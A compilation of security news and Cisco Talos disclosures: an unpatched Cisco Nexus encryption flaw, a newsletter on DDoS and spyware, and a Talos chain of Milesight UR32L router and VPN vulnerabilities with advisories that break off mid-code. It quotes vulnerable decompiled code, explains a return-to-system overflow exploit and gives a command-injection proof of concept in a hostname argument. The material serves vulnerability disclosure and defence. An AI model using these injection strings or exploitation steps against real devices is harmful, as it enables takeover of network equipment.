Vulnerable Nexus 9000 Series Fabric Switches in ACI mode should be disabled, Cisco advises.

Cisco has announced that a high-severity flaw in its data center switching gear could allow threat actors to read and modify encrypted traffic — and there's no patch so far.

Cisco disclosed the cloud security bug, tracked under CVE-2023-20185, on July 5. According to the company, the vulnerability affects its Application Centric Infrastructure (ACI) Multi-Site CloudSec encryption on Cisco Nexus 9000 Series Fabric Switches.

"Cisco has not released software updates to address the vulnerability that is described in this advisory. Customers who are currently using the Cisco ACI Multi-Site CloudSec encryption feature for the Cisco Nexus 9332C and Nexus 9364C Switches and the Cisco Nexus N9K-X9736C-FX Line Card are advised to disable it and to contact their support organization to evaluate alternative options," Cisco warned.

Principal threat hunter for Netenrich, John Bambenek, said Cisco's recommendation to unplug the device should raise alarms for enterprise security teams.

"I'm not sure I've ever seen a vendor say there are no updates, and that they should unplug the device and find another product instead," Bambenek said. "For Cisco to tell its customers to disable the device tells me all I need to know about the severity of this vulnerability, and I would advise anyone to contact support to figure out how to move forward."

The delay in releasing a fix is likely due to the complicated nature of the vulnerability, Callie Guenther, cyber threat senior manager at Critical Start explained in a statement provided to Dark Reading.

"Cisco has not released patches to address this vulnerability, and it is yet to be officially listed by databases like MITRE and NIST," Guenther said. "While the absence of patches and official listings may raise concerns, it is important to understand that addressing vulnerabilities of this nature involves complex processes, coordination, and testing."

Teams would do well to follow the advice to unplug: Cisco explained that Nexus 9000 exploitation could allow cyberattackers to view, and even change encrypted data being transmitted between sites.

"This vulnerability is due to an issue with the implementation of the ciphers that are used by the CloudSec encryption feature on affected switches," Cisco said in the advisory. "An attacker with an on-path position between the ACI sites could exploit this vulnerability by intercepting intersite encrypted traffic and using cryptanalytic techniques to break the encryption."

Patchless Cisco Flaw Breaks Cloud Encryption for ACI Traffic

The economic damage of DDoS attacks is tough to measure — who can really say how much money Blizzard missed out on by not having players in “Diablo IV” for a few hours spending money on microtransactions or choosing to buy the game?

Thursday, July 6, 2023 14:07

Welcome to this week’s edition of the Threat Source newsletter.

Distributed denial-of-service attacks (DDoS) have been around since before I even knew how to turn a computer on.

These types of attacks, I feel, have the same vibe as the term “computer virus” — something we used to talk about in the days of LAN parties and Netscape. But recently, they’ve had a major comeback with adversaries enhancing the ways in which they can launch DDoS attacks and actors targeting high-profile services and organizations that have made headlines.

“Diablo IV,” one of the biggest video games going right now, suffered a DDoS attack over the weekend of June 25, leaving players unable to access the game’s servers and affecting other games developed by Blizzard, such as “World of Warcraft” (another throwback to the days of LAN parties).

Microsoft also recently confirmed that Layer 7 DDoS attacks were responsible for outages in June affecting Azure, Outlook and OneDrive. Anonymous Sudan — a group that may or may not be related to Russia but also claims to be working in the interest of the country of Sudan — claimed responsibility for those attacks.

These recent major DDoS attempts led the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to release an advisory last week warning about the dangers of DDoS attacks. It advises that anyone who suspects they’re the target of a DDoS or DoS attack should “identify the source, and mitigate the situation by applying firewall rules and possibly rerouting traffic through a DoS protection service.”

There seem to be a few reasons why DDoS attacks are on the rise, despite them being looked at as “outdated” attacks.

For starters, the fact that they are simple attacks that date back to the development of the internet is the whole point — DDoS attacks are relatively easy to carry out compared to something like a sophisticated big game-hunting ransomware attack. Any actor with a base level of networking knowledge could start a DDoS attack.

Dark Utilities, which is an “as-a-service" platform Talos discovered last year, is a good example of this. Even though their C2-as-a-service and cryptocurrency mining offerings are the platform’s bread-and-butter, there is Layer 4 and Layer 7 DDoS tooling within their kit available to anyone willing to pay into their business model.

There also seems to be an uptick in funding behind these attacks, and money can frankly make any threat actor more powerful. Whether Russia directly, or Russian state-sponsored actors, are behind these attacks, the sign that these groups seem to be associated with major APTs show that there is a drive to carry out DDoS attacks and make sure they’re successful and send a message to the target.

The economic damage of DDoS attacks is tough to measure — who can really say how much money Blizzard missed out on by not having players in “Diablo IV” for a few hours spending money on microtransactions or choosing to buy the game? So it’s not as concrete of an argument as you could make for why an organization should be prepared for a ransomware attack that explicitly can cost a certain amount of time and money to recover, re-install backups or pay the requested ransom.

DDoS can be a punchline sometimes, but recent weeks have shown that it’s not to be slept on as a tool that actors with a range of motivations and resources can turn to.

**The one big thing**

Commercial spyware is still a going concern despite efforts from governments around the world to curb its use. Though the NSO Group started out as the most notorious example of a spyware creator, other “Mercenary Groups” are popping up like Intellexa, DSIRF, Variston IT, and the newly disclosed Quadream. And there are likely more companies operating covertly today.

**Why do I care?**

Although advertised as “tools” for law enforcement and government agencies strictly intended for legal use, report after report has shown commercial spyware has consistently been used against ethically questionable targets that don't fit the profile of criminals or terrorists. To avoid legal repercussions, these companies have headquarters in countries that do not have laws governing the export of their products or which classify the entities as IT service providers, effectively removing them from any product liability. These companies can therefore ultimately sell to whomever can pay without regard for who the intended targets are or what the impacts on the victims might be.

**So now what?**

For those that believe they are being or could be targeted by commercial spyware, rebooting the device before contacting a source or switching to lockdown mode might be the only options for the foreseeable future.

If you feel that you have been targeted by commercial spyware, there are also more generic habits that should be part of your daily routine:

*   Reboot your device regularly.
*   Use lockdown mode if your device is an iPhone.
*   Don’t click on links from dubious sources.
*   Don’t accept private messages from unknown persons.
*   If you have to keep a public contact, use an empty device to receive such contacts and reset it frequently.
*   Keep your devices up-to-date.

**Top security headlines of the week**

Microsoft is **denying that it was the victim of a data breach** after the alleged hacktivist group Anonymous Sudan said they stole credentials belonging to more than 30 million users. The threat actor says it’s willing to sell the stolen information for $50,000 and interested parties could engage the group’s Telegram bot to arrange the sale. However, a Microsoft representative told reporters that “our analysis of the data shows that this is not a legitimate claim and an aggregation of data. We have seen no evidence that our customer data has been accessed or compromised.” Anonymous Sudan gained notoriety over the past few months for a DDoS attack against Microsoft and recently admitted it was connected to the Russian state-sponsored actor Killnet, though its true goals and affiliations are unclear. (Bleeping Computer, TechRadar)

Representatives from the White House **publicly warned that any attempt by a U.S. entity to purchase the NSO Group or its spyware tools would prompt serious review over national security concerns**. A recent report connected a group of American financiers to being interested in acquiring the infamous NSO Group, known for the creation of the Pegasus spyware. However, it’s recently fallen on financial difficulties after international governments took steps to restrict the use and purchase of spyware. The NSO Group is already on a White House banned list, and the National Security Council said that any mergers or transactions involving the NSO Group would “prompt a review of whether the acquisition gives rise to a counterintelligence threat to the US government and its systems and information, whether other US equities may be at risk, and to what extent a foreign entity or government retains a degree of access or control.” (The Guardian)

The **Clop ransomware gang continues to be one of the top threat actors in the world** as the list of victims of the MOVEit zero-day vulnerability grows. Two U.S. colleges announced last week that they were affected by a data breach at the Teachers Insurance and Annuity Association of America that resulted from the exploitation of the it vulnerability. The mass hack has now affected about 160 different organizations and companies. Security researchers say that Clop’s recent attacks could represent a new era for threat actors who may opt to move away from the execution of ransomware while still relying on the tools they traditionally use for ransomware campaigns. The scope and success of the MOVEit attack is also likely to influence other threat actors. (TechCrunch, Dark Reading)

**Can’t get enough Talos?**

*   Taking over Milesight UR32L routers behind a VPN: 22 vulnerabilities and a full chain
*   The Future of Ransomware: Inside Cisco Talos Threat Hunters
*   Talos Takes Ep. #145: The various ways attackers can mess with URLs, TLDs and DNS

**Upcoming events where you can find Talos**

**BlackHat (Aug. 5 - 10)**

Las Vegas, Nevada

**Grace Hopper Celebration** **(Sept. 26 - 29)**

Orlando, Florida

> _Caitlin Huey, Susan Paskey and Alexis Merritt present a "Level Up Lab" titled "Don’t Fail Knowledge Checks: Accelerating Incident Response with Threat Intelligence." Participate in several fast-paced activities that emphasize the importance of threat intelligence in security incident investigations. Attendees will act as incident responders investigating a simulated incident that unfolds throughout this session. Periodic checkpoints will include discussions that highlight how incident response and threat intelligence complement each other during an active security investigation._

**Most prevalent malware files from Talos telemetry over the past week**

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.33515991

**SHA 256:** 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1  
**MD5:** 3e10a74a7613d1cae4b9749d7ec93515  
**Typical Filename:** IMG001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Coinminer::1201

**SHA 256:** 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa  
**MD5:** df11b3105df8d7c70e7b501e210e3cc3  
**Typical Filename:** DOC001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c  
**MD5:** a087b2e6ec57b08c0d0750c60f96a74c  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Tool.Kmsauto::1201

**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

DDoS attacks want to make sure you haven’t forgotten about them

In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs.

Thursday, July 6, 2023 11:07

*   Cisco Talos discovered 17 vulnerabilities (63 CVEs) in the Milesight UR32L router and five vulnerabilities (six CVEs) in the Milesight MilesightVPN remote access solution software.
*   An attacker could exploit the vulnerabilities discovered to completely compromise the UR32L and MilesightVPN.
*   This post presents an attack scenario in which the UR32L is only reachable through the MilesightVPN remote access solution. The blog explains how an attacker could exploit the MilesightVPN and then fully compromise the UR32L.

Cisco Talos recently discovered several vulnerabilities in Milesight‘s UR32L – an ARMv7 Linux-based industrial cellular router — and Milesight’s MilesightVPN, a remote access solution for Milesight devices.

In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs. Talos is disclosing these vulnerabilities despite no official fix from Milesight, in adherence to Cisco’s vulnerability disclosure policy. Milesight did not respond appropriately during the 90-day period as outlined in the policy.

The MilesightVPN is the remote access solution for Milesight devices not directly exposed to the internet. The MilesightVPN will perform this through a VPN system, making the VPN setup for the devices and the administrator easy. The MilesightVPN provides an HTTP admin page to monitor devices’ tunnel connection to the MilesightVPN itself and generate VPN configuration to join devices’ VPNs. By default, the MilesightVPN binds the HTTP server ports and the one VPN port on all interfaces. This software must be installed on a server machine reachable by the administrator and devices. Because of this, the most popular setup for administrator is to expose the MilesightVPN to the internet.

The Milesight UR32L is an industrial router that offers cellular capabilities. The router supports multiple users with different permissions. It offers a shell with restricted capabilities access. And many common industrial router features and functionalities. The Milesight UR32L does not include the ability to obtain and act with root privileges.

**Attack scenario overview**

In this blog post, Talos will present an attack scenario in which an adversary targets the Milesight UR32L, where the router is not exposed to the internet and instead uses a VPN tunnel for providing access to its internal network and the router itself. We considered the scenario where the device is managed through MilesightVPN. This software must be installed on a machine that is reachable by the UR32L router and the administrator. For the purposes of this post, we assume the MilesightVPN server is exposed to the internet.

MilesightVPN uses OpenVPN as the underlying VPN system. It is an excellent choice to use a well-established VPN system. OpenVPN is a well-known, tested VPN technology, which means it is less likely to have major security issues. But the MilesightVPN creates services around the OpenVPN tunnel like an HTTP server to monitor the connections and to generate OpenVPN configuration for joining the device’s VPN. By default, the MilesightVPN binds the HTTP server ports and the OpenVPN one on all interfaces. So, if the MilesightVPN is accessible on the internet, those services are by default accessible, too.

The UR32L has its own HTTP server; which allows users to manage the router configuration. We are also assuming the UR32L’s HTTP server is only accessible from the VPN and the MilesightVPN server is the only node that can generate a VPN configuration.

_An illustration of the proposed attack scenario._

The graphic below includes only the vulnerabilities relevant to this proposed attack scenario. This graphic shows the steps that an attacker could take to obtain root access to a Milesight UR32L:

**Attack walkthrough**

After locating the IP address of the MilesightVPN server, the attacker still cannot log in to the HTTP admin page due to the lack of valid credentials. The HTTP server login page of MilesightVPN looks like this:

From this point, an attacker could exploit TALOS-2023-1701 (CVE-2023-22319) to bypass the login and access the admin web pages on MilesightVPN. This vulnerability is a SQL injection in the _LoginAuth_ function responsible for checking the provided credentials. The check uses SQL without a prepared statement or any form of sanitization. The _LoginAuth_ code is shown below:

        function LoginAuth(res,postdata,connection){ 
            console.info('#######log.node:loginauth start'); 
            var sha512=crypto.createHash('sha512'); 
            sha512.update(postdata.pwd); 
            var pwd=sha512.digest('hex'); 
    [1]     $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'"; 
    [2]     connection.query($sql).then(function(data){ 
                var result={}; 
                if(data['error']) 
                { 
                    [...] 
                } 
                else 
                { 
                    if(data['result'].length>0) 
                    { 
                        var dt=data['result']; 
                        result['status']=1; 
                        var token=generateToken(dt[0]['user']); 
                        var exp=new Date(
                            new Date().getTime()+
                                expiretime*1000).toUTCString(); 
                        res.setHeader('Set-Cookie',['token='+token]); 
                        console.info('#######log.node:loginauth success'); 
                        res.write(JSON.stringify(result)); 
                        res.end(); 
                    } 
                    else 
                    { 
                        [...] 
                    } 
                } 
            }); 
        } 
    

At _[1],_ the function composes, the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at _[2]_, the query is executed, if the resulting table is not empty a JWT, corresponding to the first matched user, is crafted and placed in the response header as the value of _Set-Cookie_. This function is vulnerable to a SQL injection vulnerability because the "preparation" of the query string is performed through string concatenation instead of a prepared statement. This SQL injection can allow an attacker to bypass the authentication of the HTTP server and gain admin access.

After bypassing the login page, an attacker would be presented with the following interface. The example below includes an interface with multiple devices registered and a single device that has an active connection.

From here, an attacker can glean information about the devices connected to the server and their IPs. Furthermore, it is possible to obtain an OpenVPN configuration file to join the VPN tunnel and communicate with the devices that were previously unreachable. The attacker can now communicate with all devices in the VPN. The following image is the HTTP server login page of the Milesight UR32L router:

From here, several attack paths are possible. TALOS-2023-1697 (CVE-2023-23902) is a pre-authentication stack-based buffer overflow that can lead to arbitrary remote code execution (RCE).

The attacker's only requirement is to be able to communicate with the router's HTTP server. This vulnerability is a pre-authentication, stack-based buffer overflow in the _decrypt_string_ function of the _uhttpd_ binary, the UR32L’s HTTP server binary. This function is responsible for decrypting the login password provided for the webpage login. The password sent from the browser is first AES-encrypted and then Base64-encoded. The _decrypt_string_ will Base64 decode and then AES decrypt the password.

The _uhttpd_ binary is not a Position Independent Executable (PIE), meaning that the binary is always loaded at the same virtual memory addresses, but the libraries are Position Independent Code (PIC). This makes it possible for an attacker to perform a code reuse attack using the binary code without any information leaks unless the attacker needs to reuse some of the libraries' code. Furthermore, the code reuse attack scenario is the path of least resistance for exploitation because no stack canary is used in this binary.

The binary is executed as root and makes use of functions such as _system_ and _popen_, as such, one of the options would be to mount an attack aiming to execute OS commands.

The following is a code snippet of the _uhttpd’ decrypt_string_:

    void decrypt_string(
        char *b64_encrypted_password,
        char *decrypted_password,
        size_t size_decrypted_password)
    { 
        [...] 
        uchar stack_decrypted_string [72]; 
        [... init the AES_key variable] 
        [... init the AES_IV variable] 
        [... calculate the __size variable value ...] 
        base64_decoded_string_start = (uchar *)malloc(__size); 
        [...] 
        memset(base64_decoded_string_start,0,__size); 
        processed_len = 0; 
        base64_decode_string_cursor = base64_decoded_string_start; 
        do { 
            // this check allow to base64 decode the string before decrypting it 
            if ((password_len_ - padding) <= processed_len) { 
                *base64_decode_string_cursor = '\0'; 
                ctx = EVP_CIPHER_CTX_new(); 
                [... check error ...] 
                cipher_type = EVP_aes_128_cbc(); 
                processed_len = EVP_DecryptInit_ex(
                    ctx,
                    cipher_type,
                    (ENGINE *)0x0,
                    AES_key,
                    AES_IV); 
                [... check error ...] 
    [1]         processed_len = EVP_DecryptUpdate(
                    ctx,
                    stack_decrypted_string,
                    &output_len,
                    base64_decoded_string_start,
                    (base64_decode_string_cursor + 
                        (-1 - base64_decoded_string_start)));                              
                [... check error ...] 
                processed_len = output_len; 
                iVar3 = EVP_DecryptFinal_ex(
                    ctx,
                    stack_decrypted_string + output_len,&output_len); 
                [... check error ...] 
                processed_len = processed_len + output_len; 
                EVP_CIPHER_CTX_free(ctx); 
                stack_decrypted_string[processed_len] = '\0'; 
                EVP_cleanup(); 
                ERR_free_strings(); 
                free(base64_decoded_string_start); 
    [2]         strncpy(
                    decrypted_password,
                    (char*)stack_decrypted_string,
                    size_decrypted_password);                 
                return; 
            } 
            [...] 
    [3]    	[... base64 decode ...]                 
        } while( true ); 
    } 
    

This function has three parameters: the _b64_encrypted_password_ parameter is the AES-encrypted and Base64-encoded password string that will be Base64 decoded and then AES decrypted; _decrypted_password_ is the destination buffer where the decoded and decrypted password will be copied;  _size_decrypted_password_ is the size of the _decrypted_password_ buffer. At _[3]_ the _b64_encrypted_password_ string is Base64 decoded and then, at _[1],_ the decoded value is AES decrypted into stack_decrypted_string, a 72-byte long stack buffer. Eventually, at _[2],_ _size_decrypted_password_ bytes will be copied from the _stack_decrypted_string_ buffer into the decrypted_password buffer.

In the _decrypted_password_ only _size_decrypted_password_ bytes will be copied, which will prevent any type of buffer overflow in the _decrypted_password_ buffer.

At _[1]_ the _OpenSSL's EVP_DecryptUpdate_ function will perform the AES decryption of the Base64 decoded user-controlled data into the _stack_decrypted_string_ stack buffer. Because the _stack_decrypted_string_ stack buffer is fixed in size and the decrypted string, provided by a user, can be greater in length than the stack buffer. This can lead to a buffer overflow in the _stack_decrypted_string_ buffer.

Essentially, the login API accepts the password as the Base64 encoding of the AES encryption of the password content. This function is used to decode the Base64 string and then AES decrypts it to obtain the actual password value.  The vulnerability is that the password can overflow a stack buffer overwriting the stack content, including the stored return address.

The exploitation of this vulnerability becomes easier because of the epilogue of this function:

      strncpy(
          decrypted_password,
          (char*)stack_decrypted_string,
          size_decrypted_password);          
      return; 
    

The _decrypted_password_ is a buffer in the function caller stack space where the decoded and decrypted password is saved. In assembly, this looks like:

    ldr r0, [sp,#0xc]  
    bl strncpy  
    add sp, sp, #0x84  
    pop {r4,r5,r6,r7,r8,r9,r10,r11,pc} 
    

The function that copies the plain text password into the _decrypted_password_ array, which is also the last function call before returning to the caller, is _strncpy_. The r0 register is used for passing the first argument of the function; in the case of _strncpy_, _r0_ points to the destination buffer. After the _strncpy_ function call r0 will point to the beginning of the plaintext password.

The fact that the vulnerability considered is a stack buffer overflow, the binary does not have a stack canary, the binary is not PIE and uses the _system_ function in combination with the fact that we control the content of what r0 points to, makes the exploitation straightforward. An attacker could overwrite the return address making the function return to the _system_ function and controlling the executed shell command by placing the command to execute at the beginning of the plaintext password payload, as shown in the gdb screenshot below.

The _pc_ is the last instruction of the _decrypt_string_ function and the return address was overwritten with the system plt entry, know because the binary is not PIE, and the _r0_ registry points to the _controllable_ string. So, the _decrypt_string_ returning will execute _system(“controllable”)_.

**Vulnerability Details**

The following vulnerabilities are command injection issues in Milesight UR32L. These vulnerabilities exist in different functionalities of the router. An attacker could exploit these vulnerabilities by sending a specially crafted network packet to a targeted device:

*   TALOS-2023-1694 (CVE-2023-23550)
*   TALOS-2023-1698 (CVE-2023-22306)
*   TALOS-2023-1699 (CVE-2023-22659)
*   TALOS-2023-1706 (CVE-2023-24519 - CVE-2023-24520)
*   TALOS-2023-1710 (CVE-2023-24582 - CVE-2023-24583)
*   TALOS-2023-1711 (CVE-2023-22365)
*   TALOS-2023-1712 (CVE-2023-22299)
*   TALOS-2023-1713 (CVE-2023-24595)
*   TALOS-2023-1714 (CVE-2023-22653)
*   TALOS-2023-1723 (CVE-2023-25582 - CVE-2023-25583)

There are also several vulnerabilities in the UR32L that could lead to a buffer overflow. An attacker could trigger these vulnerabilities by sending a specially crafted HTTP request or network request to the targeted device, depending on the specific vulnerability.

*   TALOS-2023-1697 (CVE-2023-23902)
*   TALOS-2023-1715 (CVE-2023-24018)
*   TALOS-2023-1716 (CVE-2023-25081 - CVE-2023-25124)
*   TALOS-2023-1718 (CVE-2023-24019)

TALOS-2023-1705 (CVE-2023-23546) is a misconfiguration vulnerability in the Milesight UR32L that could lead to an attacker obtaining increased privileges on the device. The adversary, in this case, would need to carry out a man-in-the-middle attack to exploit this vulnerability.

There is also an access violation vulnerability — TALOS-2023-1696 (CVE-2023-23571) — that could lead to a denial-of-service if the attacker sends the device a specially crafted network request. TALOS-2023-1695 (CVE-2023-23547) can also be exploited with a specially crafted network request, but in this case, can lead to arbitrary file read.

Talos also discovered five vulnerabilities in the MilesightVPN:

*   TALOS-2023-1700 (CVE-2023-22844): Authentication bypass vulnerability
*   TALOS-2023-1701 (CVE-2023-22319): SQL injection vulnerability
*   TALOS-2023-1702 (CVE-2023-23907): Directory traversal vulnerability
*   TALOS-2023-1703 (CVE-2023-22371): Command injection vulnerability
*   TALOS-2023-1704 (CVE-2023-24496 - CVE-2023-24497): Cross-site scripting vulnerability

**Coverage**

The following Snort rules will detect exploitation attempts against these vulnerabilities: 61206 – 61208, 61212, 61255 - 61258, 61266 - 61269, 61395 - 61397. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Taking over Milesight UR32L routers behind a VPN: 22 vulnerabilities and a full chain

An os command injection vulnerability exists in the libzebra.so change_hostname functionality of Milesight UR32L v32.3.0.5. A specially-crafted network packets can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.

**SUMMARY**

An os command injection vulnerability exists in the libzebra.so change\_hostname functionality of Milesight UR32L v32.3.0.5. A specially-crafted network packets can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router settings.

Here is the prompt after the login:

    *** TERMINFO:/etc/terminfo TERM:linux *****
    -- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
    
    -------------------------------------------------------------------------
    Product Model        : UR32L
    Firmware Version     : 32.3.0.5
    -------------------------------------------------------------------------
    
    ROUTER> 
    

The service has several functionalities, the number of functionalities depends also on the user privileges. Indeed, the admin user can access the enable command, that will allow to access an high privileges command menu:

    ROUTER> enable 
    ROUTER# 
      cellular-gps-dev
      clear             Reset functions
      configure         Configuration from vty interface
      copy              Copy from one file to another
      core              Set debug level
      debug             Debugging functions (see also 'undebug')
      disable           Turn off privileged mode command
      enable            Turn on privileged mode command
      end               End current mode and change to enable mode
      exit              Exit current mode and down to previous mode
      list              Print command list
      modbus-master
      no                Negate a command or set its defaults
      ping              Send echo messages
      quit              Exit current mode and down to previous mode
      reload            Halt and perform a cold restart
      show              Show running system information
      ssh               Open an ssh connection
      telnet            Open a telnet connection
      terminal          Set terminal line parameters
      test              Test
      traceroute        Trace route to destination
      undebug           Disable debugging functions (see also 'debug')
      write             Write running configuration to memory, network, or terminal
    

The command that we are going to analyze is called hostname. This function is called as hostname <new_hostname> and is used to change hostname for the device. This command is in the sub-menu reachable through the configure terminal command:

    ROUTER# configure terminal 
    ROUTER(config)# 
      [...]
      hostname              Set system's network name
      [...]
    

The libzebra.so.0.0.0’s hostname_command function is responsible for managing the hostname command:

    undefined4 hostname_command(undefined4 param_1,int param_2,undefined4 param_3,byte **argv)
    
    {
      undefined4 uVar1;
      char *pcVar2;
    
      if (0x19 < (**argv | 0x20) - 0x61) {
        [...]
      }
      uVar1 = change_hostname_wrap(argv);
      return uVar1;
    }
    

This function will check if the provided hostname starts with a letter of the alphabet, then the change_hostname_wrap function will be called with the new hostname. The function change_hostname_wrap will check if the current hostname differs from the new one, in such case the function change_hostname will be eventually called:

    void change_hostname(char *new_hostname)
    
    {
      int iVar1;
      char change_hostname_command [128];
    
      iVar1 = __stack_chk_guard;
      change_hostname_command._0_4_ = 0;
      memset(change_hostname_command + 4,0,0xfc);
      snprintf(change_hostname_command,0x100,"uci set system.@system[0].hostname='%s';uci commit",
               new_hostname);                                                                                       [1]
      system(change_hostname_command);                                                                              [2]
      [...]
    }
    

This function will compose, at [1], the uci set system.@system[0].hostname='<new_username>';uci commit string. The composed string will then be executed, at [2], using the system function. The change_hostname function is vulnerable to a command injection vulnerability, indeed, the new_hostname parameter it will reach the system function and the hostname command does only checks if the first character is alphabetic, this is not enough to prevent a command injection.

**Exploit Proof of Concept**

Following a POC triggering a reboot of the system through the command injection exposes above:

    *** TERMINFO:/etc/terminfo TERM:linux *****
    -- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
    
    -------------------------------------------------------------------------
    Product Model        : UR32L
    Firmware Version     : 32.3.0.5
    -------------------------------------------------------------------------
    
    ROUTER> enable
    ROUTER#  configure terminal
    ROUTER(config)# hostname a'$(reboot)'
    old hostname null
    a(config)# Connection closed by foreign host.
    

The Connection closed by foreign host. is the consequence of the device that is rebooting.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22659: TALOS-2023-1699 || Cisco Talos Intelligence Group

Two OS command injection vulnerabilities exist in the urvpn_client cmd_name_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This OS command injection is triggered through a UDP packet.

**SUMMARY**

Two OS command injection vulnerabilities exist in the urvpn\_client cmd\_name\_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial radio router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers a service called Milesight VPN, which will connect to the Milesight VPN software. The binary client used for this service is urvpn_client. This binary will connect to the specified Milesight VPN server but will also listen for network request to allow the sender to change VPN settings. The function that will, eventually, parse the received data and modify the VPN settings is the urvpn_client’sexecute_urvpn_command function:

    undefined4 execute_urvpn_command(byte *data_buff)
    
    {
      [... variable declaration ...]
    
      json = utils_parse_string2json_object(data_buff);
      [... variable initialization ...]
      if (json == 0) {
        uVar2 = 0xffffffff;
      }
      else {
        json_get_value_by_key(json,"type",type_value,0x40);
        is_equal = strcmp(type_value,"cmd_reconnect");
        if (is_equal == 0) {
          sleep(5);
          cmd_reconnect_action();
        }
        else {
          is_equal = strcmp(type_value,"cmd_subnet");
          if (is_equal == 0) {
            [...]
          }
          else {
            is_equal = strcmp(type_value,"cmd_name");
            if (is_equal == 0) {
              json_get_value_by_key(json,"name",cmd_name,0x40);                                             [1]
              cmd_name_action(cmd_name);
            }
          }
        }
       [...]
      }
      [...]
    }
    

This function parses a JSON. Based on the value of the string corresponding to the key type, the function will execute a specific command. If the type value is equal to cmd_name, the code at [1] will be reached and the cmd_name_action function will be called with, as argument, the string value corresponding to the key name in the JSON.

Following the cmd_name_action function:

    undefined4 cmd_name_action(char* cmd_name)
    
    {
      [...]
      snprintf((char *)&formatted_string,0x200,
               "ubus call yruo_urvpn set \'{\"base\":\"urvpn_manage\", \"value\":{\"action\":2,\"device_ name\":\"%s\"}}\'"
               ,cmd_name);
      [...]
      system((char *)&formatted_string);                                                                    [2]
      return 0;
    }
    

This function uses the provided name string value to compose a shell command that will be execute, at [2], through the system function. This can lead to an OS command injection vulnerability.

There are two code paths to reach this vulnerable function, which are described as follows.

**CVE-2023-24582 - TCP handler**

It is possible to reach the execute_urvpn_command function through a TCP connection. The function that will manage this connection is tcp_execute_urvpn_command_wrap:

    void tcp_execute_urvpn_command_wrap(undefined4 bufev,undefined4 param_2)
    
    {
      [... variable declaration ...]
    
      local_20 = param_2;
      local_1c = bufev;
      start_evbuff_ptr = bufferevent_get_input(bufev);
      input_line = (byte *)0x0;
      evbuffer_search_eol(ev_buffer,start_evbuff_ptr,0,&local_14,0);
      if (local_14 == 0) {
        [...]
      }
      else {
        input_line = (byte *)evbuffer_readln(start_evbuff_ptr,0,0);
        if (input_line != (byte *)0x0) {
          log_stuff("comtcpip.c",0x4d,"_comtcpip_readcb",2,"reveive TCP :%s",input_line);
          execute_urvpn_command(input_line);
          [...]
        }
      }
      [...]
    } The function will receive the JSON data and eventually call the `execute_urvpn_command` with, as argument, the JSON received. No checks are performed on the received data that will eventually reach the `cmd_name_action`.
    

**CVE-2023-24583 - UDP handler**

It is possible to reach the execute_urvpn_command function through a UDP connection. The function that will manage this connection is tcp_execute_urvpn_command_wrap:

    undefined4 udp_execute_urvpn_command_wrap(int socket)
    
    {
      [... variable declaration ...]
    
      recv_buff._0_4_ = 0;
      memset(recv_buff + 4,0,0x3fc);
      local_410 = 0x10;
      memset(recv_buff,0,0x400);
      sVar1 = recvfrom(socket,recv_buff,0x400,0,&sStack_420,&local_410);
      if (sVar1 == -1) {
        [...]
